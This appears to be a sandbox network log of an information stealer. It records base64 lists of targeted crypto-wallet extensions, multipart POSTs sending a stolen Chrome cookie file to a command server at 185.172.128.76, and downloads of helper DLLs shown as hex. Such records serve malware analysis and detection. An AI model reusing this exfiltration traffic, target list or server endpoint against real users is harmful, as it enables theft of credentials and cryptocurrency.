TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 23, 2024 09:32:54.821691036 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 23, 2024 09:32:54.821794987 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 23, 2024 09:32:54.821831942 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 23, 2024 09:32:54.821870089 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 23, 2024 09:32:54.864540100 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.172.128.76 Content-Length: 5659 Connection: Keep-Alive Cache-Control: no-cache
Apr 23, 2024 09:32:54.864583969 CEST	5659	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 23, 2024 09:32:55.196408033 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:32:55.445512056 CEST	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:32:55.755346060 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:55 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 23, 2024 09:32:55.755460978 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
Apr 23, 2024 09:32:55.755497932 CEST	1289	IN	Data Raw: 00 00 00 e8 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
Apr 23, 2024 09:32:55.755537987 CEST	1289	IN	Data Raw: 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a Data Ascii: ]U1UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1U
Apr 23, 2024 09:32:55.755574942 CEST	1289	IN	Data Raw: 02 c1 e3 07 09 cb 89 1a e9 4c 01 00 00 0f b6 70 02 0f b6 db c1 e3 0e 09 f3 f6 c3 80 75 1e 83 e1 7f 81 e3 7f c0 1f 00 c7 42 04 00 00 00 00 c1 e1 07 b0 03 09 cb 89 1a e9 1d 01 00 00 0f b6 70 03 0f b6 c9 81 e3 7f c0 1f 00 c1 e1 0e 09 f1 f6 c1 80 75 Data Ascii: LpuBpuBxMMuMZ2Mx]uZxu
Apr 23, 2024 09:32:57.463057041 CEST	952	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJJDHIDBGHIDHIDAFB Host: 185.172.128.76 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4a 44 48 49 44 42 47 48 49 44 48 49 44 41 46 42 2d 2d 0d 0a Data Ascii: ------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KJJJJDHIDBGHIDHIDAFBContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------KJJJJDHIDBGHIDHIDAFB--
Apr 23, 2024 09:32:57.792159081 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:32:57.903793097 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBF Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file_name"NTE5MTkxODg1LmZpbGU=------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="file"------CAEHJEBKFCAKKFIEHDBF--
Apr 23, 2024 09:32:58.237214088 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:32:59.228398085 CEST	560	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJK Host: 185.172.128.76 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 65 34 35 62 30 31 39 66 30 61 64 33 33 38 30 33 35 34 31 65 35 33 35 32 66 34 39 62 64 32 63 36 62 34 62 63 33 66 35 32 65 32 36 37 37 33 66 31 36 39 38 37 64 63 61 39 64 36 35 30 61 61 33 36 61 61 30 64 30 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 4e 54 45 35 4d 54 6b 78 4f 44 67 31 4c 6d 5a 70 62 47 55 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"18e45b019f0ad33803541e5352f49bd2c6b4bc3f52e26773f16987dca9d650aa36aa0d0e------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file_name"NTE5MTkxODg1LmZpbGU=------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="file"------GCGIDGCGIEGDGDGDGHJK--
Apr 23, 2024 09:32:59.563148975 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:32:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 23, 2024 09:32:59.944464922 CEST	93	OUT	GET /15f649199f40275b/freebl3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 23, 2024 09:33:00.254652977 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 07:33:00 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
